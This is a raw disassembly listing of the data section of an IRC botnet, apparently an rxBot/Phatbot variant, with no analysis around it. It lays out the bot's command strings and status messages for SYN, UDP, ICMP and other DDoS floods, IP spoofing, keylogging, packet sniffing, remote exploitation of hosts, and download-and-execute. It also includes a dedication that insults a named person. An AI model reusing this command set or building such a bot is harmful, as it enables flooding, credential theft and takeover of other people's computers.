aPingflood	db 'pingflood',0        ; DATA XREF: sub_40274D+4DB0o
		align 4
; char aNs[]
aNs		db 'ns',0               ; DATA XREF: sub_40274D+4D99o
		align 10h
; char aNetsend[]
aNetsend	db 'netsend',0          ; DATA XREF: sub_40274D+4D82o
; char aU[]
aU:					; DATA XREF: sub_40274D+4D6Bo
					; .data:00442EE8o ...
		unicode	0, <u>,0
; char aUdp[]
aUdp		db 'udp',0              ; DATA XREF: sub_40274D+4D54o
; char aUdpflood[]
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_40274D+4D3Do
		align 4
; char aAsc[]
aAsc		db 'asc',0              ; DATA XREF: sub_40274D+4D26o
; char aAdvscan[]
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40274D+4D0Fo
; char aPsc[]
aPsc		db 'psc',0              ; DATA XREF: sub_40274D+4CF8o
; char aPortscan[]
aPortscan	db 'portscan',0         ; DATA XREF: sub_40274D+4CE1o
		align 4
; char aC_a[]
aC_a		db 'c_a',0              ; DATA XREF: sub_40274D+4CBBo
; char aC_action[]
aC_action	db 'c_action',0         ; DATA XREF: sub_40274D+4CA4o
		align 4
; char aC_pm[]
aC_pm		db 'c_pm',0             ; DATA XREF: sub_40274D+4C8Do
		align 10h
; char aC_privmsg[]
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_40274D+4C76o
		align 4
; char aSc[]
aSc		db 'sc',0               ; DATA XREF: sub_40274D+4C5Fo
		align 10h
; char aScan_0[]
aScan_0		db 'scan',0             ; DATA XREF: sub_40274D+4C48o
		align 4
; char aRd[]
aRd		db 'rd',0               ; DATA XREF: sub_40274D+4C31o
		align 4
; char aRedirect[]
aRedirect	db 'redirect',0         ; DATA XREF: sub_40274D+4C1Ao
		align 4
; char aDl[]
aDl		db 'dl',0               ; DATA XREF: sub_40274D+4C03o
		align 4
; char aDownload[]
aDownload	db 'download',0         ; DATA XREF: sub_40274D+4BECo
		align 4
; char aWonk[]
aWonk		db 'wonk',0             ; DATA XREF: sub_40274D+4BD5o
		align 10h
; char aPhatwonk[]
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_40274D+4BBEo
		align 4
dword_42DF5C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_40274D+4B9Co
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42DF98[]
asc_42DF98	db '-'                  ; DATA XREF: sub_40274D+4B3Ao
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
; char aSkysyn[]
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_40274D+4AC3o
		align 10h
; char aSyn[]
aSyn		db 'syn',0              ; DATA XREF: sub_40274D+4AACo
					; sub_40274D+500Co ...
; char aSynflood[]
aSynflood	db 'synflood',0         ; DATA XREF: sub_40274D+4A95o
		align 10h
unk_42DFE0	db  2Dh	; -		; DATA XREF: sub_40274D+4A73o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char aWisdom_udp[]
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_40274D+49B5o
		align 4
; char aDdos_random[]
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_40274D+499Eo
					; sub_415825:loc_41594Do
; char aDdos_ack[]
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_40274D+4987o
					; sub_415825:loc_415931o
		align 4
; char aDdos_syn[]
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_40274D+4970o
					; sub_415825+EDo
		align 10h
; char aC[]
aC:					; DATA XREF: sub_40274D+4959o
					; sub_40FDC3+78o ...
		unicode	0, <c>,0
; char aClone_0[]
aClone_0	db 'clone',0            ; DATA XREF: sub_40274D+4942o
		align 4
; char aIcmp[]
aIcmp		db 'icmp',0             ; DATA XREF: sub_40274D+491Co
		align 4
; char aIcmpflood[]
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_40274D+4905o
		align 10h
; char aMv[]
aMv		db 'mv',0               ; DATA XREF: sub_40274D+48EEo
		align 4
; char aRename[]
aRename		db 'rename',0           ; DATA XREF: sub_40274D+48D7o
		align 4
; char aFf[]
aFf		db 'ff',0               ; DATA XREF: sub_40274D+48C0o
		align 10h
; char aFindfile[]
aFindfile	db 'findfile',0         ; DATA XREF: sub_40274D+48A9o
		align 4
; char aE[]
aE:					; DATA XREF: sub_40274D+4892o
					; .data:00442ED8o ...
		unicode	0, <e>,0
; char aExecute[]
aExecute	db 'execute',0          ; DATA XREF: sub_40274D+487Bo
; char aUpdate[]
aUpdate		db 'update',0           ; DATA XREF: sub_40274D+484Do
		align 10h
; char aDe[]
aDe		db 'de',0               ; DATA XREF: sub_40274D+4836o
		align 4
; char aDelay[]
aDelay		db 'delay',0            ; DATA XREF: sub_40274D+481Fo
		align 4
; char aRp[]
aRp		db 'rp',0               ; DATA XREF: sub_40274D+4808o
		align 10h
; char aRepeat[]
aRepeat		db 'repeat',0           ; DATA XREF: sub_40274D+47F1o
					; sub_40274D+68A6o
		align 4
; char aTsn[]
aTsn		db 'tsn',0              ; DATA XREF: sub_40274D+47DAo
; char aTsunami[]
aTsunami	db 'tsunami',0          ; DATA XREF: sub_40274D+47C3o
; char aT3[]
aT3		db 't3',0               ; DATA XREF: sub_40274D+47ACo
		align 4
; char aTarga3[]
aTarga3		db 'targa3',0           ; DATA XREF: sub_40274D+4795o
		align 10h
; char aC_p[]
aC_p		db 'c_p',0              ; DATA XREF: sub_40274D+477Eo
; char aC_part[]
aC_part		db 'c_part',0           ; DATA XREF: sub_40274D+4767o
		align 4
; char aC_j[]
aC_j		db 'c_j',0              ; DATA XREF: sub_40274D+4750o
; char aC_join[]
aC_join		db 'c_join',0           ; DATA XREF: sub_40274D+4739o
		align 4
; char aC_n[]
aC_n		db 'c_n',0              ; DATA XREF: sub_40274D+4722o
; char aC_nick[]
aC_nick		db 'c_nick',0           ; DATA XREF: sub_40274D+470Bo
		align 4
; char aC_m[]
aC_m		db 'c_m',0              ; DATA XREF: sub_40274D+46F4o
; char aC_mode[]
aC_mode		db 'c_mode',0           ; DATA XREF: sub_40274D+46DDo
		align 10h
; char aC_r[]
aC_r		db 'c_r',0              ; DATA XREF: sub_40274D+46C6o
; char aC_raw[]
aC_raw		db 'c_raw',0            ; DATA XREF: sub_40274D+46AFo
		align 4
; char aM_0[]
aM_0:					; DATA XREF: sub_40274D+4698o
					; .data:00442F30o ...
		unicode	0, <m>,0
; char aCy[]
aCy		db 'cy',0               ; DATA XREF: sub_40274D+466Ao
		align 4
; char aCycle[]
aCycle		db 'cycle',0            ; DATA XREF: sub_40274D+4653o
		align 4
; char aA[]
aA:					; DATA XREF: sub_40274D+463Co
					; .data:00442EF4o
		unicode	0, <a>,0
; char aAction[]
aAction		db 'action',0           ; DATA XREF: sub_40274D+4625o
		align 4
; char aPrivmsg_0[]
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_40274D+45F7o
; char aAa[]
aAa		db 'aa',0               ; DATA XREF: sub_40274D+45E0o
		align 4
; char aAddalias[]
aAddalias	db 'addalias',0         ; DATA XREF: sub_40274D+45C9o
		align 10h
; char aKl[]
aKl		db 'kl',0               ; DATA XREF: sub_40274D+45B2o
		align 4
; char aKilllog[]
aKilllog	db 'killlog',0          ; DATA XREF: sub_40274D+459Bo
; char aGh[]
aGh		db 'gh',0               ; DATA XREF: sub_40274D+4575o
		align 10h
; char aGethost[]
aGethost	db 'gethost',0          ; DATA XREF: sub_40274D+4560o
; char aCap[]
aCap		db 'cap',0              ; DATA XREF: sub_40274D+454Bo
; char aCapture[]
aCapture	db 'capture',0          ; DATA XREF: sub_40274D+4536o
; char asc_42E164[]
asc_42E164	db '-'                  ; DATA XREF: sub_40274D:loc_406C3Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42E180	db  2Dh	; -		; DATA XREF: sub_40274D:loc_406C33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
unk_42E1A4	db  2Dh	; -		; DATA XREF: sub_40274D:loc_406BEDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42E1C4	db  2Dh	; -		; DATA XREF: sub_40274D+4499o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42E1E4	db  2Dh	; -		; DATA XREF: sub_40274D:loc_406B62o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42E204	db  2Dh	; -		; DATA XREF: sub_40274D+440Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
; char aShare[]
aShare		db 'share',0            ; DATA XREF: sub_40274D+43A8o
		align 10h
; char aContinue[]
aContinue	db 'continue',0         ; DATA XREF: sub_40274D+436Eo
		align 4
; char aPause[]
aPause		db 'pause',0            ; DATA XREF: sub_40274D+4351o
		align 4
; char aStop[]
aStop		db 'stop',0             ; DATA XREF: sub_40274D+4337o
		align 4
unk_42E24C	db  2Dh	; -		; DATA XREF: sub_40274D:loc_406A77o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42E26C	db  2Dh	; -		; DATA XREF: sub_40274D+4320o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
; char aStart[]
aStart		db 'start',0            ; DATA XREF: sub_40274D+42CDo
		align 4
unk_42E298	db  2Dh	; -		; DATA XREF: sub_40274D+429Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aNet[]
aNet		db 'net',0              ; DATA XREF: sub_40274D+427Ao
; char asc_42E2D4[]
asc_42E2D4	db '-'                  ; DATA XREF: sub_40274D+422Co
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 10h
; char asc_42E310[]
asc_42E310	db '-'                  ; DATA XREF: sub_40274D+41D3o
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42E334	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_40274D+415Ao
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42E354	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_40274D:loc_406891o
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 10h
dword_42E380	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_40274D+413Ao
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
; char aFile[]
aFile		db 'file',0             ; DATA XREF: sub_40274D+40FEo
		align 4
; char aKeylog[]
aKeylog		db 'keylog',0           ; DATA XREF: sub_40274D+40D9o
		align 4
dword_42E3CC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40274D:loc_40681Bo
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42E3EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40274D+40C4o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42E424	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40274D+4094o
aFailedToSta_15	db '- Failed to start server, error: <%d>.',0
		align 4
; char asc_42E458[]
asc_42E458	db '-'                  ; DATA XREF: sub_40274D:loc_406794o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
dword_42E484	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40274D+403Do
aAlreadyRunni_0	db '- Already running.',0
		align 4
; char aIdent[]
aIdent		db 'ident',0            ; DATA XREF: sub_40274D+4004o
		align 4
unk_42E4AC	db  2Dh	; -		; DATA XREF: sub_40274D:loc_406746o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
		align 10h
unk_42E4E0	db  2Dh	; -		; DATA XREF: sub_40274D+3FEFo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42E520	db  2Dh	; -		; DATA XREF: sub_40274D+3FAAo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_16	db '- Failed to start sniffer thread, error: <%d>.',0
; char asc_42E55C[]
asc_42E55C	db '-'                  ; DATA XREF: sub_40274D+3F51o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42E58C	db  2Dh	; -		; DATA XREF: sub_40274D+3EF3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
; char aSniffer[]
aSniffer	db 'sniffer',0          ; DATA XREF: sub_40274D+3EBCo
dword_42E5B4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_40274D:loc_4065FEo
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
dword_42E5E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_40274D+3EA7o
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42E61C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_40274D+3E62o
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
; char asc_42E658[]
asc_42E658	db '-'                  ; DATA XREF: sub_40274D+3E09o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42E688	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_40274D+3DABo
aAlreadyRunni_2	db '- Already running.',0
		align 4
; char aOn[]
aOn		db 'on',0               ; DATA XREF: sub_40274D+3D8Bo
					; sub_40274D+3ED3o ...
		align 4
; char aPsniff[]
aPsniff		db 'psniff',0           ; DATA XREF: sub_40274D+3D74o
		align 4
; char aRf[]
aRf		db 'rf',0               ; DATA XREF: sub_40274D+3D5Fo
		align 4
; char aReadfile[]
aReadfile	db 'readfile',0         ; DATA XREF: sub_40274D+3D4Ao
		align 4
; char aCm[]
aCm		db 'cm',0               ; DATA XREF: sub_40274D+3D35o
		align 4
; char aCmd[]
aCmd		db 'cmd',0              ; DATA XREF: sub_40274D+3D20o
; char aMirc[]
aMirc		db 'mirc',0             ; DATA XREF: sub_40274D+3D0Bo
		align 4
; char aMirccmd[]
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_40274D+3CF6o
; char aV[]
aV:					; DATA XREF: sub_40274D+3CE1o
					; .data:00442F24o ...
		unicode	0, <v>,0
; char aVisit[]
aVisit		db 'visit',0            ; DATA XREF: sub_40274D+3CCCo
		align 4
; char aLi[]
aLi		db 'li',0               ; DATA XREF: sub_40274D+3CB7o
		align 4
; char aList[]
aList		db 'list',0             ; DATA XREF: sub_40274D+3CA2o
		align 4
; char aGt[]
aGt		db 'gt',0               ; DATA XREF: sub_40274D+3C8Do
		align 4
; char aDel[]
aDel		db 'del',0              ; DATA XREF: sub_40274D+3C63o
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_40274D+3C4Eo
					; sub_40274D+438Bo
		align 4
; char aKi[]
aKi		db 'ki',0               ; DATA XREF: sub_40274D+3C39o
		align 4
; char aKill[]
aKill		db 'kill',0             ; DATA XREF: sub_40274D+3C24o
		align 10h
; char aKp[]
aKp		db 'kp',0               ; DATA XREF: sub_40274D+3C0Fo
		align 4
; char aKillproc[]
aKillproc	db 'killproc',0         ; DATA XREF: sub_40274D+3BFAo
		align 10h
; char aDn[]
aDn		db 'dn',0               ; DATA XREF: sub_40274D+3BE5o
		align 4
; char aDns[]
aDns		db 'dns',0              ; DATA XREF: sub_40274D+3BD0o
; char aSe[]
aSe		db 'se',0               ; DATA XREF: sub_40274D+3BBBo
		align 4
; char aO[]
aO:					; DATA XREF: sub_40274D+3B91o
					; .data:00443254o
		unicode	0, <o>,0
; char aOpen[]
aOpen		db 'open',0             ; DATA XREF: sub_40274D+3B7Co
					; sub_40274D+562Ao ...
		align 4
; char aPr[]
aPr		db 'pr',0               ; DATA XREF: sub_40274D+3B67o
		align 4
; char aPrefix[]
aPrefix		db 'prefix',0           ; DATA XREF: sub_40274D+3B52o
		align 4
; char aC_rn[]
aC_rn		db 'c_rn',0             ; DATA XREF: sub_40274D+3B3Do
		align 4
; char aC_rndnick[]
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_40274D+3B28o
		align 4
; char aC_q[]
aC_q		db 'c_q',0              ; DATA XREF: sub_40274D+3B13o
; char aC_quit[]
aC_quit		db 'c_quit',0           ; DATA XREF: sub_40274D+3AFEo
		align 4
; char aK[]
aK:					; DATA XREF: sub_40274D+3AE9o
					; .data:00442F10o ...
		unicode	0, <k>,0
; char aKillthread[]
aKillthread	db 'killthread',0       ; DATA XREF: sub_40274D+3AD4o
		align 4
; char aRaw[]
aRaw		db 'raw',0              ; DATA XREF: sub_40274D+3AAAo
; char aPt[]
aPt		db 'pt',0               ; DATA XREF: sub_40274D+3A95o
		align 4
; char aJ[]
aJ:					; DATA XREF: sub_40274D+3A6Bo
					; .data:00442F0Co ...
		unicode	0, <j>,0
; char aN[]
aN:					; DATA XREF: sub_40274D+3A41o
					; .data:00442F2Co ...
		unicode	0, <n>,0
unk_42E784	db  2Dh	; -		; DATA XREF: sub_40274D+3A10o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
; char aNickservRegist[]
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_40274D+39ACo
; char aRegister[]
aRegister	db 'register',0         ; DATA XREF: sub_40274D+3989o
		align 10h
; char aPrivmsgSS_0[]
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_40274D+3933o
		align 10h
; char aMix[]
aMix		db 'mix',0              ; DATA XREF: sub_40274D+3878o
; char aPrivmsgS_3[]
aPrivmsgS_3	db 'PRIVMSG %s :'       ; DATA XREF: sub_40274D+3827o
					; sub_40274D+385Bo
		dd 6E696601h, 1726567h,	0
; char aPrivmsgS_2[]
aPrivmsgS_2	db 'PRIVMSG %s :'       ; DATA XREF: sub_40274D+37F3o
		dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_1[]
aPrivmsgS_1	db 'PRIVMSG %s :'       ; DATA XREF: sub_40274D+37BFo
					; sub_40274D+38C1o
		dd 6E697001h, 167h
; char aCtcp[]
aCtcp		db 'ctcp',0             ; DATA XREF: sub_40274D+3776o
		align 10h
; char aNoticeSS_1[]
aNoticeSS_1	db 'NOTICE %s :%s',0    ; DATA XREF: sub_40274D+36E7o
					; sub_40274D+3720o ...
		align 10h
; char aNotice_0[]
aNotice_0	db 'notice',0           ; DATA XREF: sub_40274D+3699o
		align 4
; char aMsg[]
aMsg		db 'msg',0              ; DATA XREF: sub_40274D+35BCo
; char aChgnick[]
aChgnick	db 'chgnick',0          ; DATA XREF: sub_40274D+3576o
; char aNick_0[]
aNick_0		db 'nick',0             ; DATA XREF: sub_40274D+347Co
					; sub_40274D+3A2Co
		align 4
; char aPrivmsgS_0[]
aPrivmsgS_0	db 'PRIVMSG %s :'       ; DATA XREF: sub_40274D+345Fo
		dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
		dd 64252064h, 1
; char aDcc[]
aDcc		db 'dcc',0              ; DATA XREF: sub_40274D+33ECo
; char aJoinPart[]
aJoinPart	db 'join/part',0        ; DATA XREF: sub_40274D+32BAo
		align 4
; char aNickS_0[]
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_40274D+329Do
					; sub_40274D+34D3o ...
; char aSI[]
aSI		db '%s%i',0             ; DATA XREF: sub_40274D+3285o
					; sub_40A800+4Eo ...
		align 4
; char aPnick[]
aPnick		db 'pnick',0            ; DATA XREF: sub_40274D+324Bo
		align 4
; char aPartSS[]
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_40274D+322Eo
					; sub_40274D+3308o ...
		align 4
; char aPartflood[]
aPartflood	db 'partflood',0        ; DATA XREF: sub_40274D+320Ao
		align 4
; char aPartS[]
aPartS		db 'part %s',0          ; DATA XREF: sub_40274D+31EDo
; char aPart_0[]
aPart_0		db 'part',0             ; DATA XREF: sub_40274D+31CEo
					; sub_40274D+3A80o
		align 4
; char aJoinS[]
aJoinS		db 'join %s',0          ; DATA XREF: sub_40274D+31B1o
					; sub_40274D+32E2o ...
; char aJoin[]
aJoin		db 'join',0             ; DATA XREF: sub_40274D+3192o
					; sub_40274D+3A56o
		align 4
; char aModeSS[]
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_40274D+3175o
		align 10h
; char aMode[]
aMode		db 'mode',0             ; DATA XREF: sub_40274D+312Fo
					; sub_40274D+4681o
		align 4
; char aNoticeSS_0[]
aNoticeSS_0	db 'notice %s :%s',0    ; DATA XREF: sub_40274D+3112o
		align 4
; char aNt[]
aNt		db 'nt',0               ; DATA XREF: sub_40274D+30CCo
		align 4
; char aPrivmsgS[]
aPrivmsgS	db 'privmsg %s :'       ; DATA XREF: sub_40274D+30AFo
		dd 1732501h, 0
; char aCt[]
aCt		db 'ct',0               ; DATA XREF: sub_40274D+3069o
		align 4
; char aPrivmsgSS[]
aPrivmsgSS	db 'privmsg %s :%s',0   ; DATA XREF: sub_40274D+304Co
					; sub_40274D+360Ao ...
		align 4
; char a_[]
a_:					; DATA XREF: sub_40274D+3023o
					; sub_40274D+3086o ...
		unicode	0, <_>,0
; char aPm[]
aPm		db 'pm',0               ; DATA XREF: sub_40274D+3006o
					; sub_40274D+460Eo
		align 4
; char asc_42E93C[]
asc_42E93C	db '-'                  ; DATA XREF: sub_40274D+2FD7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
; char aLoad[]
aLoad		db 'load',0             ; DATA XREF: sub_40274D+2F8Fo
		align 10h
; char aFlood[]
aFlood		db 'flood',0            ; DATA XREF: sub_40274D+2F66o
		align 4
; char aRinms[]
aRinms		db 'rinms',0            ; DATA XREF: sub_40274D+2F4Fo
		align 10h
; char aReconnect_in_m[]
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_40274D+2F3Ao
; char aRin[]
aRin		db 'rin',0              ; DATA XREF: sub_40274D+2F25o
; char aReconnect_in[]
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_40274D+2F10o
		align 4
unk_42E9A4	db  2Dh	; -		; DATA XREF: sub_40274D+2EF0o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
; char asc_42E9E4[]
asc_42E9E4	db '-'                  ; DATA XREF: sub_40274D+2E94o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
; char aExploit[]
aExploit	db 'exploit',0          ; DATA XREF: sub_40274D+2E17o
; char asc_42EA1C[]
asc_42EA1C	db '-'                  ; DATA XREF: sub_40274D+2DF9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
; char asc_42EA48[]
asc_42EA48	db '-'                  ; DATA XREF: sub_40274D+2DCFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char aD_D_D_[]
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_40274D+2D97o
		align 4
; char asc_42EA88[]
asc_42EA88	db '-'                  ; DATA XREF: sub_40274D+2D3Eo
					; sub_40274D+2DAFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
; char aGet_1[]
aGet_1		db 'get',0              ; DATA XREF: sub_40274D:loc_405469o
					; sub_40274D+3C78o
unk_42EAC4	db  2Dh	; -		; DATA XREF: sub_40274D+2CB0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 10h
unk_42EAF0	db  2Dh	; -		; DATA XREF: sub_40274D+2CA5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42EB1C	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h, 0 ; DATA XREF: sub_40274D+2C57o
unk_42EB30	db  2Dh	; -		; DATA XREF: sub_40274D:loc_405395o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_42EBE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_40274D+2C16o
aFailedToSta_18	db '- Failed to start secure thread, error: <%d>.',0
		align 4
; char asc_42EC1C[]
asc_42EC1C	db '-'                  ; DATA XREF: sub_40274D+2BB2o
		db 3, 34h, 2
		dd 75636573h, 3026572h,	7325202Dh, 73797320h, 2E6D6574h
		dd 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40274D+2BACo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40274D+2BA5o
		align 10h
unk_42EC50	db  2Dh	; -		; DATA XREF: sub_40274D+2B1Co
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start server thread, error: <%d>.',0
		align 10h
; char asc_42EC90[]
asc_42EC90	db '-'                  ; DATA XREF: sub_40274D+2AB1o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42ECBC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_40274D+2A20o
aFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char asc_42ECF8[]
asc_42ECF8	db '-'                  ; DATA XREF: sub_40274D+29C7o
					; sub_4144B2+A4o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42ED20	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_40274D+2909o
aFindFile	db 'Find file',0        ; DATA XREF: sub_40274D+2904o
		align 4
dword_42ED3C	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_40274D+28F7o
aProcessList	db 'Process list',0     ; DATA XREF: sub_40274D+28F2o
		align 4
dword_42ED5C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_40274D+288Co
		dd 676E6974h, 2Eh
; char aQuitReconnecti[]
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FCCo
					; sub_40274D:loc_409FE3o ...
		align 10h
dword_42ED90	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_40274D+286Ao
		dd 6E697463h, 2E67h
; char aQuitDisconnect[]
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FAAo
		align 4
; char aQuitLater[]
